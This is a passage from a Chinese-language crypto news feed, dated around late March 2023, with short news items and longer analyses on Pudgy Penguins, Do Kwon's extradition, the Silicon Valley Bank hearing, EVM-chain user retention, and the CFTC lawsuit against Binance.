认为，真正会塑造 web3 和 NFT 的这些人是现在 20 多岁的年轻人。 像我这样的年轻一代，成长在移动互联网时代，我们在社交媒体增长与建立用户联结上会比那些资深内容行业的人有优势。我们的核心能力并不是 storytelling 和大的世界观的架构，这是大的制片工作室擅长的地方。 我的思考是，我们做好我们擅长的，让我们创造一个巨大的差距。然后他们会来找我们做他们最擅长的事情，我们可以将彼此擅长的事情融合，去建立合作伙伴关系。 就像 BAYC 的创始人都没有开发过游戏，他们玩游戏但并不了解制作游戏；但他们建立了如此大的品牌和如此多的影响力，以至于游戏开发商来到他们面前说，嘿，我们会为你打造你的游戏，BAYC 也可以拿到很好的条件。 同时，他也谈到，关于故事和角色开发，已经与一些大的工作室聊过。但是目前的交易条款还不太平衡，显然这些工作室没有给出满意的报价。他不希望长期在非常重要的一个营收垂直品类（影视制作）上为了现在能够达成合作而以很低的金额让步。 Luca 希望向华纳和迪士尼以及所有这些主要的电影公司展示，web3 IP 可以从他们那里夺取市场份额： 如果我们可以从他们那里夺取市场份额，他们将在这个领域派遣他们的精兵强将，因为现在只是试水，他们派的人和投入的资源显然不是最好最核心的。我期待他们投入最好的 IP 和制作能力到 web3 里来。 非常有战斗力的一个年轻 CEO。 所以，接下来要进入 web3 的千万和上亿的用户，他们会从哪里来？ Luca 不相信 web3 通过赞助某个比赛，logo 打到广告大屏幕获得大规模的应用； 认为 NFT 会获得大规模采用是来自于用户对 IP 的热爱。 因为如果这些 NFT 不是角色，那只是区块链上的生成图片，只有很少量的 NFT 能够成功。用户将通过想要支持一个他们相信其愿景的品牌并拥有与该品牌价值一致的激励机制来到 web3； 他们真的会成为品牌的拥护是因为他们喜欢一个角色，和喜欢那个角色背后所传达的信息。我坚信我们要做的是为之后「星球大战」和「哈利波特」等 IP 打开闸门。 附：参考资料 采访视频 Luca Netz: Can Pudgy Penguins Onboard The Masses? l Overpriced JPEGs #142 Luca Netz：胖企鹅的新主人 Luca Netz 个人介绍 Gel Blaster Amazon 销售店铺 胖企鹅最近在推进商标注册 全球最赚钱的 25 个 IP（2020 年度版） 2022 年 PMI 玩具合作时，胖企鹅允许 holder 提交授权的通知 胖企鹅官网 关于一系列玩具合作样品的长推汇总  ( 7 min )
    黑山当局：美国对Do Kwon的引渡要求早于韩国，但尚无法判断哪方优先
    PANews 3月30日消息，据韩联社报道，黑山司法部部长Marko Kovac在记者会上表示，已证实美国已在韩国之前要求引渡Terraform Labs首席执行官Do Kwon。据悉，美国在黑山设有大使馆，而韩国在黑山没有大使馆，韩国系通过其在黑山邻国塞尔维亚设置的大使馆沟通Do Kwon引渡事宜。 Kovac部长解释说：“Do Kwon将被引渡到哪个国家取决于罪行的严重性、罪犯的国籍和引渡请求的日期，现阶段很难说两国哪个优先。如果Do Kwon等人因护照造假案在黑山被判刑，服完刑期后才可执行引渡。无论权去哪个国家，引渡都不可避免地会被推迟。”  ( 4 min )
    硅谷银行首场听证会：有史以来速度最快的银行挤兑事件
    作者： 李爱琳 来源：新浪财经 [ 截至2022年底，硅谷银行存款总额为1750亿美元，如果储户最终在两日之内提走1420亿美元，将占到该行存款总额的81%。 ] 当地时间3月28日，美国国会参议院银行委员会就美国区域银行倒闭事件举行首场听证会，美联储副主席巴尔（Michael Barr）、美国联邦存款保险公司（FDIC）主席格伦伯格（Martin Gruenberg）以及美国财政部国内金融事务副部长梁（Nellie Liang）出席并接受了议员们近三个小时的质询。 本月10日，硅谷银行在遭遇挤兑之后宣布倒闭，成为美国历史上第二大银行倒闭案，仅次于在2008年全球金融危机中关闭的华盛顿互惠银行（Washington Mutual）。从上述银行公告“爆雷”，到FDIC正式接管，再到破产关闭，前后不足48个小时。 参议院银行委员会主席布朗（Sherrod Brown）在听证会开场致辞时表示：“在风投人士和社交媒体的推波助澜之下，不到一天时间，硅谷银行储户就从该银行提走420亿美元，创造了有史以来规模最大、速度最快的银行挤兑事件。” 巴尔在听证会上表示，硅谷银行挤兑始于9日下午，此前该行尝试通过出售证券组合、股权融资方式筹资，以改善其流动性状况，不料吓坏市场，结果适得其反。储户因担忧未投保存款蒙受损失，最终于9日当天从银行提取超过420亿美元，只是，这一规模相较10日还是相形见绌。 “次日一早，硅谷银行告知我们，基于储户提出的取款要求，资金流出规模将大得多，预计当天合共1000亿美元存款将会撤出。”巴尔说。 截至2022年底，硅谷银行存款总额为1750亿美元，如果储户最终在两日之内提走1420亿美元，将占到该行存款总额的81%。资金的迅速出逃表明，当社交媒体加剧恐慌情绪，加之网上银行允许快速交易，银行挤兑的发生速度可以想象有多快。 巴尔认为，硅谷银行的倒闭是管理不善的典型案例。他列举了该行的几点失误，例如未投保存款比例很高，证券投资组合损失严重。“硅谷银行之所以倒闭，缘于该行管理层未能有效控制利率上行和流动性风险，甚至在其崩溃前的几个月里没有首席风险官一职。” 格伦伯格在接受质询时表示，该行存款过于集中于单一客户。“前十大储户的存款高达133亿美元，这是一个庞大的数字，其客户包括流媒体公司Roku等大型公司，仅Roku在该行就存有大约5亿美元资金。” 施罗德投资（Schroders）在发送给第一财经记者的报告中表示，作为一家规模较小的地区银行，硅谷银行在资本和流动性方面的要求，比起大型银行及系统重要性银行要低。它并没有现行对冲机制，以管理与利率上升相关的风险，最终致其破产。 其实早在2021年底，硅谷银行管理缺陷就初露端倪，美联储监管人员发现该行涉及压力测试、应急资金和流动性风险控制等六项指标存在不足；2022年5月，硅谷银行被指董事会监督不力、风险管理薄弱和内部审计职能不足；同年夏季，硅谷银行管理评级遭到下调，此举意味着监管者已经发现了该银行的“管理不善”问题。 议员在听证会上质疑美联储监管不力，未能在风险爆发前采取更多行动迫使硅谷银行做出改变。巴尔表示，其本人直至今年2月中旬硅谷银行倒闭前几周才意识到问题的严重性。他解释称，解决问题不是监管机构的工作，而是银行高管和董事会的职责。 区域银行危机令当局重新审视五年前通过的一项放松银行监管法案。 2018年3月，前总统特朗普签署生效了一项新法案，资产规模低于2500亿美元的银行无需通过美联储的年度压力测试，也不必向美联储提交有关破产后如何清算的“生前遗嘱”。该法案正是由召开本次听证会的参议院银行委员会提出，当时支持者认为，上述法案能够刺激信贷、促进美国经济，反对者则认为这将增加金融系统风险。而根据2010年通过的金融监管改革法案《多德-弗兰克法案》，资产超过500亿美元的银行必须参加美联储的年度压力测试。 施罗德投资对第一财经表示：“2018年通过的这项法案放宽了对美国中小型银行的监管，如若监管更为严格，或许可以在事件恶化至危机级别之前，就摒除一些风险。”该机构表示，鉴于较小型银行所受监管较少，其他银行会否面临类似问题仍是一项隐忧。 巴尔在听证会上建议，有必要对资产超过1000亿美元的银行施加更为严格的资本和流动性标准，美联储将通过多种情景加强对银行的压力测试，并向大银行提出长期债务要求。 他的这一表态也得到了出席听证会的格伦伯格以及梁的支持。格伦伯格认为，资产规模逾千亿美元的银行影响金融稳定，应获得额外关注，特别是在资本、流动性和利率风险方面；梁也表示：“我们必须确保银行的监督和监管政策适合今天面临的风险和挑战。” 同日，美国总统拜登在接受采访时表示，白宫已尽其所能运用现有机制来处理区域银行危机，相信行业压力正在得到缓解，如有必要，白宫的应对措施还将陆续涌来。不过，他也表示，目前尚不确定针对这一局面的立法能否在国会获得通过。“我不确定在立法上会否作出很大改变，我们也在考虑这个问题。”拜登说。 此前，拜登要求国会废除放松银行监管法案，并对管理不善导致银行倒闭的银行高管实施更为严厉处罚的措施。不过，由于共和党人控制着众议院，这些举措的推进预计将会遭遇坎坷。  ( 4 min )
    黑山法院驳回Do Kwon针对其拘留时间被延长的判决提起的上诉
    PANews 3月30日消息，据KBS NEWS报道，黑山波德戈里察法院驳回了Terraform Labs首席执行官Do Kwon对法院延长拘留时间的裁决提出的上诉。该法院解释了驳回Do Kwon上诉的原因，称“没有理由相信他没有逃跑的风险，因为他是一名仅暂时居住在黑山的外国人。” 此外，当地调查机关没收了Do Kwon持有的多本护照，其中部分护照姓名不同，没收理由是因为其被列入国际刑警红色通缉名单。法院补充称：“这意味着如果Do Kwon和他的同伙获释，他们可以随时轻松离开黑山。” 此前消息，法院决定将Do Kwon拘留时间延长30天。Do Kwon对此提出上诉，其律师称拟将护照造假案上诉至最高法院。目前，韩美双方均寻求将Do Kwon引渡。 相关阅读：Terra创始人Do Kwon黑山被捕，近10个月逃亡生活结束  ( 4 min )
    Telegram现已支持使用TON代币购买高级订阅服务
    PANews 3月30日消息，据Bitcoinist报道，Telegram的开发人员推出了一项由TON区块链支持的新加密功能。从今天开始，该平台的用户可以通过用户名拍卖平台Fragment使用TON代币购买Telegram高级订阅服务。  ( 4 min )
    币安创新区将上线Radiant Capital (RDNT)
    PANews 3月30日消息，据官方公告，币安宣布在创新区上线Radiant Capital (RDNT)，并将于3月30日15:30开放RDNT/BTC、RDNT/USDT、RDNT/TUSD现货交易对。 据悉，Radiant Capital是一个去中心化跨链借贷产品项目，用户可以把资产抵押在市场的主流链上，然后跨链在其他链上进行借贷。RDNT是项目的应用代币，用以参与流动性挖掘和治理。  ( 4 min )
    6大EVM生态运营策略分析：谁是以太坊用户外溢的最大赢家？
    撰文：Ally Zach，Messari 编译：BlockTurbo 2022 年是 Layer2 叙事全面升温的一年，取代了竞争激烈的 Layer1 格局。 Arbitrum 和 Optimism 等吸引了数十万忠实用户，并创造了蓬勃发展的 DeFi 生态系统。由于这些链中的每一个都试图在更广泛的加密环境中开拓自己的位置，因此可以说它们创建了一个测试，可用于确定哪些用户获取策略最有效。 由于多起黑天鹅事件，各大公链生态在 2022 年都遭遇了重大挫折，整个行业的活动和用户群都在下降。然而在 2022 年下半年，随着 FTX 崩盘，用户开始回归 EVM 链。今天，我们就主要分析六大 EVM 链：ETH，BNB，Polygon，Arbitrum，Avalanche，Optimism。 以太坊和 BNB 拥有两个最大的加密用户群，分别拥有 2.26 亿和 2.74 亿累计独立用户。BNB Chain 在过去 12 个月中的平均月增长率为 6%，但以太坊的新用户采用率平均下降了 5%。 以太坊用户增长停滞的部分原因在于其 L2 扩展解决方案 Arbitrum 和 Optimism 的普及。在过去 12 个月中，这两个生态系统的活跃地址增长了近 5 倍，这得益于 20% 的用户月环比增长。此外，这两个生态系统比任何其他生态系统留住的用户都多，12 个月的留存率为 30-40%，而行业平均留存率低于 20%。 虽然成熟的 EVM 链系统的用户群组规模通常随着时间的推移而减少，但 Arbitrum 和 Optimism 却在稳步增加。最大的用户群组规模出现在最近几个月，这表明这两个网络可能会继续增长——特别是如果留存率保持不变的话。 虽然最近 L2 网络活动有所增加，但替代的 L1 因其在获取和留住用户方面的熟练程度而保持相关性。从历史上看，一些项目发现专注于利基行业可能是一种有利可图且可行的长期战略。通常，建立最强大的行业生态系统的网络享有更高的保留率。 然而，找到利基并不能保证长期成功，因为用户忠诚度可能无法预测。当应用程序跨链分叉和重新部署时，用户会毫不犹豫地跳槽。此外，一些加密叙事可能会变成某种时尚，随着利益的变化，投资价值会在一夜之间消失。 在 L2 生态系统时代，重要的是要确定哪些特定的区块链生态系统展示了成功的用户获取和留存模式，以及哪些采用了无效的策略。为了进一步评估每个 EVM 链的可持续性，应评估在不同领域层面，这些策略对留存参与的影响。 当谈到链上交易时，大多数可以分为四大类： 上述所有六个 EVM 链在这些领域中的每一个领域都有一定程度的存在。除了查看纯交易和用户数量之外，我们还可以通过查看新用户的采用率和随时间的保留情况，更深入地了解每条链上不同领域的健康状况。 在过去一年中，以太坊、Polygon、Avalanche 和 Binance Smart Chain 等成熟 EVM 链的 DEX 的初始用户群有所减少。减少的部分原因可能是多次黑天鹅事件以及由此导致的对加密生态系统失去信心。此外，来自 Arbitrum 和 Optimism 上新兴的 DeFi 生态系统对 的竞争可能已经从基础链上夺走了用户市场份额。 在这些成熟的 EVM 链中，以太坊的长期用户保留率往往高出约 5%，这主要是因为其原生 DEX 的流动性更深。例如，Uniswap 已部署在大多数其他 EVM 链上，并且比任何其他应用程序被分叉的次数都多，从而创建了 SushiSwap、Trader Joe 和 PancakeSwap。尽管其顶级 DEX 部署在了其他链上并被分叉，但以太坊已与其社区建立了足够的信任，继续吸引比同行更多的流动性和交易量。 以太坊的成功在很大程度上来自其强大的 DeFi 生态系统。它拥有一些在交易、借贷、质押和流动性挖矿方面使用最广泛的应用程序。许多这些应用程序各自的代币和稳定币构成了一些最深的流动资金池——不仅在以太坊原生应用程序上，而且在更大的加密环境中。 从根本上说，DEX 依赖于周围的生态系统来生产满足交易需求的资产；还依赖已建立的生态系统，如以太坊，高质量的新项目会优先选择以太坊而不是其他新兴的生态系统。 与竞争对手相比，Arbitrum 和 Optimism 的长期用户保留率高于平均水平。他们的成功可能归功于他们迅速扩展的 DeFi 生态系统和以 DeFi 为重点的激励活动。在 Arbitrum 的案例中，最活跃的 DEX 池（以压倒性优势）来自其顶级衍生品交易平台 GMX 和 Gains Network。另一方面，在 Optimism Quests 奖励计划结束后，Optimism 的顶级矿池已经屈服于大部分非原生资产。 Arbitrum 顶级 DEX 矿池的分布可能表明其新兴的 DeFi 生态系统类似以太坊的发展，用户在整个生态系统中积极参与使用原生代币，这有力地表明近期的活跃度将持续。 对于 Arbitrum 和 Optimism，他们最大的群组规模也是最近产生的。如果他们能够将高于平均水平的保留率再维持几个月，他们可能会看到进一步的显著增长。然而，如上述每条链的下降趋势所示，可能很难保持这些保留率。为了继续增长，每个链都需要在全球 DeFi 生态系统中建立一个利基市场，并继续推出新的原生项目。 由于其高频交易性质，衍生品 DEX 在低 gas 网络上蓬勃发展。在 EVM 链中，Arbitrum 和 Optimism 占据了大部分交易份额，尽管 Polygon 和 Avalanche 远远早于它们进入这一领域。目前，L2 在其衍生品平台上的长期用户保留率平均高出 10%，并且新用户群也在迅速增加。 在 Optimism 的任务活动期间，Perpetual Protocol、Kwenta 和 Pika 等原生永续交易平台迅速积累了永续交易商。然而，活动一结束，这些激励平台上的大多数交易员就完全消失了。为了让 Optimism 有机地占据永续交易量份额，它将不得不依靠独特的模型和市场，例如 Synthetix（Kwenta）的新永续交易产品。 与 Optimism 相比，Arbitrum 在过去一年中保持了稳定且可以说更有机的用户增长。每增加一个衍生品平台，它的新用户就会增加。在 Optimism 的任务活动结束后，Arbitrum 占据了 EVM 链上约 80% 的 衍生品交易者的主导地位。 GMX 作为 Arbitrum 上的单一衍生品交易平台开始受到关注，但生态系统只有在竞争出现后才能起飞。由于衍生品交易员已经在 Arbitrum 上，因此在相似的平台之间切换几乎没有摩擦，从而创造了一种健康的竞争形式。 考虑到这一点，新兴 DeFi 生态系统之间的关键区别可能是多样化的竞争格局，它在更大的生态系统中既可组合又可被广泛采用。例如，像 Gains 和 GMX 这样的衍生品平台分别存在于 Polygon 和 Avalanche 上。但是，直到它们最近在 Arbitrum 和 Optimism 的热潮，他们才获得显著的吸引力。此外，一旦 GMX 的流动性代币 (GLP) 被接受为整个 Arbitrum 生态系统的抵押品，它就增强了提供流动性的效用，并使 GMX 能够吸引更大的交易者。 随着这些新兴链的不断发展，它们应该寻求在更大的 DeFi 生态系统中建立可持续的利基市场，以发展持久的用户保留率和持续的收入流。 在所有 EVM 链中，借贷用户留存率在 1-3 个月内急剧下降，与其他领域相比，借贷用户的长期留存率通常较低。一般来说，用户借入资产的频率与交易频率不同；相反，借贷活动与市场的高波动性相关。用户在适合的时候寻求杠杆作用，并且通常不希望长期持有资产。 跨链的借贷平台见证了新用户的减少，这在一定程度上可以归因于替代形式杠杆的兴起。例如，随着衍生品在 Arbitrum 和 Optimism 等链上越来越受欢迎，用户可以使用高杠杆进行更频繁的交易。事实上，在过去一年中，衍生品交易量与借贷平台借款人之间存在负相关关系。 似乎衍生品会持续发展，特别是考虑到他们最近在 L2 上的活跃度。借贷应用程序需要创新的方式来吸引用户以保持竞争力。从历史上看，成熟链上的大部分借贷需求都是由该链的原生代币抵押的。对于新兴市场，原生代币需要经过超积累和抛售阶段才能成熟，然后才能大量采用贷款。一旦它们各自的代币发布尘埃落定，Arbitrum 和 Optimism 的市场可能会在未来几个月开始看到更快速的采用。 一旦市场从稳定的横盘时期转移，成熟市场的贷款活动应该会回升。此外，新的应用程序创新以及抵押品和债券发行的进一步扩展可能会为各自的市场注入一些活力。 虽然自 2021 年 NFT 热潮以来，NFT 交易整体处于稳步下行趋势，但熊市却催生了一波创新浪潮。它带来了新的市场机制，甚至将 NFT 用例扩展到静态图像之外。去中心化的社交媒体、链上身份和新形式的游戏内资产在过去一年中出现，在不同的链上培育价值。 以太坊一直是许多病毒式蓝筹 NFT 系列的所在地。它也是 OpenSea 和 Blur 等领先 NFT 市场的原始链，这两者都导致了其更高的长期用户采用率。 虽然以太坊不是第一个支持 NFT 的链，但它确实承载了从 2021 年开始的 NFT 繁荣周期。 以太坊蓝筹股系列，如 CryptoPunks、BAYC 和 Pudgy Penguins，在加密货币领域建立了高价值，这很可能是由于它们处于早期阶段、隐含的社会地位和猖獗的病毒式传播。蓝筹 NFT 集合约占以太坊顶级 NFT 市场总交易量的一半，导致其他链的全球交易量相对较高。 此外，以太坊拥有比第二大竞争对手 Polygon 多 10 倍的零售 NFT 交易商。总的来说，这些蓝筹收藏使得用户在相对高昂的 gas 费用的情况下不断返回以太坊，从而导致用户长期留存率很高。 从整个 NFT 市场交易来看，Blur 和 OpenSea 等以太坊市场在 EVM 链中以近 100 倍的交易量领先。新进入者 Blur 牢牢抓住了其在以太坊 NFT 交易商中的份额，保留了该链总销量的 62%。它的成功在很大程度上归功于新颖的高级交易功能和持续的空投机制。此外，Blur 的用户保留率比其核心竞争对手 OpenSea 平均高出 15%，这可能是由于其最低的交易费用和空投。 虽然以太坊发现其产品市场适合高价值收藏品，但 Polygon、Avalanche 和 BNB 等整体 gas 费较低的链是低价值 NFT 收藏品的发源地。当 gas 价格远远低于实际资产值钱时，交易员转手 NFT 会更有效率。 Arbitrum 已开始跟上这些更成熟链的步伐，其大部分活动来自 Treasure Trove 游戏市场。另一方面，Optimism 尚未看到任何实质性的 NFT 牵引力。迄今为止，Optimism 的大部分激励活动都围绕着 DeFi 应用程序，但 Galxe 的凭证除外，这可能解释了其当前 NFT 市场采用滞后的原因。 由于游戏内资产的高频交易性质，游戏应用程序需要高吞吐量和最小的 gas 成本。便宜的 gas 费用和大量的游戏应用程序选择优先使用 Polygon 和 BNB， 成为 Web3 游戏玩家的 EVM 链中的目的地。目前，这两条链上都拥有 300 多种不同的活跃游戏应用程序，并分别保留了约 50% 的 EVM 游戏玩家。 当前的游戏格局相当饱和，千篇一律地部署相同的赚钱、快速奖励游戏。迄今为止，还没有一款链上游戏与其用户建立起长久的关系。因此，即使是 Polygon (Alien Worlds) 和 BNB (Mobox Farmer) 上的顶级游戏应用程序，与传统的 PFP 交易相比，用户保留率也相对较低。此外，GameFi 的总活跃用户今年迄今下降了 50% 以上，新用户群体规模各下降了约 55%。 游戏领域在加密应用程序中相对独特，因为它只需要部署一个杀手级游戏即可吸引大量用户。虽然游戏通常可能需要更多时间来构建，但它们比其他应用程序更独立。它们不一定依赖与其他消费者应用程序相同的网络效应来采用，也不依赖于 DeFi 等其他应用程序的部署。从这个意义上说，第一个推出下一款大型游戏的低成本链可能会成功抢占行业。 在上一次 NFT 热潮中，Arbitrum 和 Optimism 还处于起步阶段，尚未在 GameFi 领域站稳脚跟。尽管他们的 gas 费用很低，用户群不断增长，并且有一些基本的 NFT 应用程序，但他们尚未在消费领域找到自己的利基。 在这两种情况下，每个网络使用最广泛的消费者应用程序之一是 Galxe 认证平台。它被用于相应的激励计划：Arbitrum 的 Odyssey 活动和 Optimism 的 Quests。在这两种情况下，用户都被激励参与每个生态系统中的应用程序，以换取 Galxe NFT 和可能的经济奖励。然而，在这些活动之外，该应用程序尚未在任一生态系统中找到自己的位置，这可能是由于缺乏跨应用程序实用程序。 另一方面，Polygon 已经能够通过与星巴克和 Reddit 等基于 Web2 的公司的合作来培育现代 Web3 社交生态系统。它还托管了一些使用最广泛的去中心化社交应用程序，例如 Lens。然而，这两个利基行业都没有找到大规模的牵引力，为另一条低成本链提供了拥有竞争优势的空间。 NFT 的用例已经扩展到包括新形式的链上物理和数字内容。社交媒体、链上身份、音乐和实物资产等领域的新兴用例在更大的加密生态系统中不断增长。因为构建一个强大的、尖端的 Web3 生态系统需要时间，如果一个新的生态系统被正确执行，它总体上不太可能被复制到其他链上。对于几乎所有低成本链而言，在这些领域之一中建立利基市场有可能成为采用和收费收入的主要驱动力。 大部分利润收入来自 DeFi 和消费者应用程序中的高频交易。对于上述 EVM 链，每个链似乎在短期（从最初进入后 1-2 个月）和长期（+9 个月后）能获得每个用户的最大价值。很简单，网络留住用户的时间越长，他们从费用中获得的收入就越高。请注意，基于费用的收入存在偏差，部分原因是过去 12 个月内原生代币价格变化太大。 对于大多数 EVM 链来说，大部分费用收入来自基于 DeFi 的应用程序，例如 DEX 和 衍生品平台。就 Optimism、BNB 和 Avalanche 而言，DeFi 的总费用收入与基于 NFT 的应用程序之间存在相当大的差异。 另一方面，以太坊基于消费者的应用程序的每位用户平均总费用更高。鉴于与其他链相比，基于以太坊的 NFT 市场处理的平均交易量接近 100 倍，这并不令人感到意外。虽然以太坊有广泛的应用，但它仍在高价值蓝筹 NFT 市场中发展了一个利基专长，这已成为其最强大的收入来源之一。 以太坊开创的「万事通」多领域精通不再是新兴生态系统的可行战略。在当今竞争激烈的环境中，在一个领域内建立利基市场的似乎是利润最高且用户保留率最高的策略。 随着越来越多的 L2 继续在主网上启动，观察它们的有机用户增长和吸引新用户的应用程序类型将变得重要。虽然几乎肯定会包含一个 DEX 和 NFT 市场，但 L2 之间的关键区别将是构建在它们之上的原生应用。这些应用需要具有足够的粘性以吸引新用户，并且需要足够全面以在它们选择的领域中开辟出一个新的利基市场。  ( 7 min )
    比特币开发者：某匿名实体或正在收集BTC用户的IP地址
    PANews 3月30日消息，据Cointelegraph报道，根据化名比特币应用程序开发人员“0xB10C”的博客文章，某未知实体可能正在收集比特币用户的IP地址，并将其链接到他们的BTC地址，从而侵犯了这些用户的隐私。 0xB10C将该实体称为LinkingLion，因为与其关联的IP地址通过LionLink网络的托管数据中心，但ARIN和RIPE注册信息显示该公司可能不是消息的发起者。0xB10C表示LinkingLion可能正在记录交易时间以确定哪个节点首先收到交易，然后可以使用这些信息来确定与特定比特币地址关联的IP地址。  ( 4 min )
    Terra联创Daniel Shin正出庭接受韩国法院对其逮捕令的审查
    PANews 3月30日消息，据韩媒财经新闻报道，韩国首尔南部地方法院于当地时间10:30开始对Terra联合创始人、Chai Corporation前首席执行官Daniel Shin进行逮捕令审查。 此前3月27日消息，韩国检方再次寻求逮捕Daniel Shin，并指控其违反《资本市场法》、违反《特定经济犯罪加重处罚法》、违反《电子金融交易法》、违反《特定金融信息法》、商业背信以及渎职。  ( 4 min )
    加密“无间道”，CFTC向币安发难背后或与FTX有染？
    3月27日，总部位于华盛顿的美国商品期货交易委员会 (CFTC) 宣布起诉加密交易所币安（Binance）及其CEO兼创始人CZ，该机构表示至少从2021年起就开始持续调查币安，币安存在在美国市场非法经营的行为并违反了旨在防止违法金融活动的规定，还通过未公开的特殊手段获取了内部的聊天记录。随后，币安回应称该起诉似乎包含不完整的事实陈述，不同意起诉书中指控的许多问题的定性，呼吁社区“忽略FUD消息、假新闻、恶意攻击等”。 与此同时，美国公布针对FTX创始人SBF的13项新起诉书显示，在FTX去年11月倒闭之前，SBF曾向美国政客提供了数千万美元的竞选捐款，美国国会三分之一的现任议员接受了SBF的资助。而FTX也在2021年开始聘用了多位前CFTC官员。 众所周知，FTX在美国的政治影响力远高于币安。本文从梳理回顾币安与FTX“闹崩”、SBF与CFTC建立政治关系和币安被CFTC调查的时间线来看都过于“巧合”，有业内人士推测，此次CFTC对币安的监管行动或与SBF及FTX有着一定联系。 SBF不仅是美国加密监管政策的游说者，借助华盛顿的监管政治博弈，还建立起强大的政治力量。此前PANews也曾发文披露了SBF与美国监管层关系匪浅，除了与现任美SEC主席、原CFTC主席Gary Gensler关系匪浅，后者在2009年至2014年初任职期间的不少旧部均入职了FTX.US，而这些高官的入职时间也非常微妙。 时间回到2019年12月，彼时币安宣布对FTX进行战略投资，同时帮助后者生态持续发展，使其保持与币安生态的发展并驾齐驱，使得后者估值在启动半年时间内就达到10亿美元。但经过两年多时间的高速发展，FTX的知名度与币安已是旗鼓相当，且业务产生了直接竞争。2021年7月，FTX宣布以180亿美元估值完成了9亿美元B轮融资时，币安透露其已从FTX的股权投资中完全退出。 据路透社报道称，FTX曾于2021年5月在直布罗陀为子公司申请许可证时，需要提交有关其主要股东的信息，FTX的律师和顾问至少写信给币安20次，但币安对此请求置之不理，这也被外界认为是两者“分手”的直接原因。 而在与币安“分道扬镳”后的这一年，SBF与CFTC的官员建立起千丝万缕的联系，扩大自身的政治影响力。2021年8月，FTX聘请前CFTC主席Ryne Miller为该交易所总法律顾问，后者曾在2012年到2013年期间担任Gary的法律顾问。任职期间，Ryne Miller还曾帮助安排SBF与前CFTC专员Dan Berkovitz、Mark Wetjen等人会面并共进晚餐，其中Dan Berkovitz为SEC总法律顾问。 2021年11月，FTX聘请Mark Wetjen担任政策和监管战略负责人、FTX子公司LedgerX（在CFTC注册的衍生品交易平台）现任董事，此人是前美国总统奥巴马提名的CFTC专员，并在前 CFTC主席Gary Gensler离职后被选举为代理主席，两人共事过一段时间。 值得一提的是，借助Mark Wetjen的关系，美国联邦存款保险公司（FDIC）主席Martin J. Gruenberg还于2022年6月会见了SBF，这距离FTX申请破产仅相隔5个月。据《华盛顿观察报》分享的几封电子邮件显示，SBF曾试图通过Gruenberg说服FDIC接受对加密友好的监管规定，并在向后者发送的邮件中声称，“我们向CFTC提交了一份申请，为CFTC规划了如何做到它。CFTC所要做的就是批准它。一旦CFTC这样做了，其它交易所也将效仿，美国其它主要交易所也可拥有CFTC的牌照。”不仅如此，Mark Wetjen还曾邀请现任CFTC主席Rostin Behnam及旗下参谋长David Gillers召开讨论FXT旗下衍生品平台LedgerX的紧急会议，Behnam本人也承认与SBF曾多次会面。 SBF邀请FDIC主席Martin Gruenberg会面邮件 来源：华盛顿观察报 此外，FTX董事会成员Jill Sommers也是前CFTC专员，被前总统奥巴马提名，任职两届，同样与Gary Gensler一同共事过；曾担任监督CFTC的众议院委员会主席Mike Conaway同样也被FTX聘请过帮助向立法者介绍FTX的情况。 而由SBF等人推动的《数字商品消费者保护法》则赋予了CFTC对加密领域的更多监管权力，且负责起草的民主党参议员Debbie Stabenow正是Behnam的前雇主，Behnam本人也曾呼吁应增加该机构在数字资产和商品领域的现货市场的治理能力，监管的对象包括交易平台、中介机构或经纪自营商等，且需要更多资源来扩大监管能力。不仅如此，FTX之前还曾寻求CFTC批准直接为客户清算保证金交易，尽管部分联邦监管机构提出警告，但Behnam在公开评论中对此想法给予了高度赞赏。 非营利组织Better Markets总裁Dennis Kelleher曾就CFTC与FTX之间的邮件往来表示，“CFTC有一个开放的政策，基本上只要FTX想沟通就能达成。显然FTX 聘请前CFTC官员的目的是接触和影响CFTC。” 除了有了CFTC这个“靠山”，FTX还向华盛顿特区的多名议员和各个政治派别提供了高达9300万美元的政治捐款，这也使得SBF成为华盛顿政界的常客，不仅在采访中声称“自己基本上每隔几周就会去华盛顿，与监管者和政策制定者交谈”，还发文暗讽CZ不能自由进出华盛顿，甚至曾在华盛顿的非公开会议上批评CZ。 对于SBF在华盛顿的加密影响力，芝加哥商品交易所（CME Group Inc.）首席执行官Terry Duffy曾如此描绘称，“整个华盛顿‘似乎都被SBF的创新承诺迷住了’，我去国会已经25年了，我从来没有见过像那次那样的华盛顿特区，从监管机构到国会议员，唱着我以前从未听过的赞美诗。” CFTC宣布已向美国伊利诺伊州北区联邦法院提起民事诉讼，指控赵长鹏和运营币安平台的三个实体多次违反《商品交易法》(CEA) 和CFTC规定，并指控币安前首席合规官Samuel Lim协助和教唆币安违规。 CFTC表示，币安没有正确注册，从而逃避了义务。至少从2021年开始CFTC就一直在调查币安是否未能阻止美国居民买卖加密货币衍生品。CFTC规则通常要求平台在允许美国人交易这些产品时向该机构注册。不仅如此，CFTC主席Rostin Behnam还表示，币安案是持续的欺诈行为，将在法庭上就此案积极辩论，CFTC将继续动用其权力发现和制止在动荡和高风险的数字资产市场中的不当行为。 也就是说，CFTC从2021年就开始持续调查币安。不过，币安对CFTC的指控予以否认，并表示其已通过国籍、IP地址、移动运营商、设备指纹、银行存取款、区块链存取款和信用卡银行标识代码等多种手段阻止美国客户，并已与CFTC合作了两年多的时间，未来仍会继续与美国和世界各地的监管机构合作。 尽管Behnam曾在FTX破产的首场国会听证会上表示，其机构无法阻止FTX的崩溃，因为它不在CFTC管辖范围内，但由于CFTC在FTX发展史上扮演的角色使得该机构备受质疑。Dennis Kelleher在一份报告中指出，“CFTC没有积极监管加密货币，也没有对其主张进行怀疑的审查，而是将大部分时间用于为该行业加油鼓劲，并试图扩大其管辖权，而不是担心投资者、客户和市场保护。” 值得一提的是，在FTX破产后无法再为美国政坛提供支援后，Binance.US选择在该时刻成立了自己的政治行动委员会，这代表接下来币安有整整两年的时间为2024年的联邦选举、总统大选做足准备，目前暂时还没有向美国政治行动委员会（PAC）捐款的计划。同时，由于从未在华盛顿特区开展业务，币安还与Binance.US使用相同的游说者Hogan Lovells律师事务所向美国立法者进行游说。 总而言之，随着FTX的暴雷，无论此前是否有意通过政治影响力推进对竞争对手的调查和打压，整个加密市场的监管收紧已成为事实，从此前SEC借着稳定币BUSD打压，到如今CFTC的发难，针对币安和加密市场的监管风暴或许才刚刚开始。  ( 4 min )
    行情：比特币突破29000美元，24小时涨幅达6.42%
    PANews 3月30日消息，行情显示，比特币突破29000美元，最高涨至29,184.68美元，现报29127.01美元，24小时涨幅达6.42%。  ( 4 min )
    Paxful CEO：将向在Celsius Earn中损失资金的Paxful用户进行退款
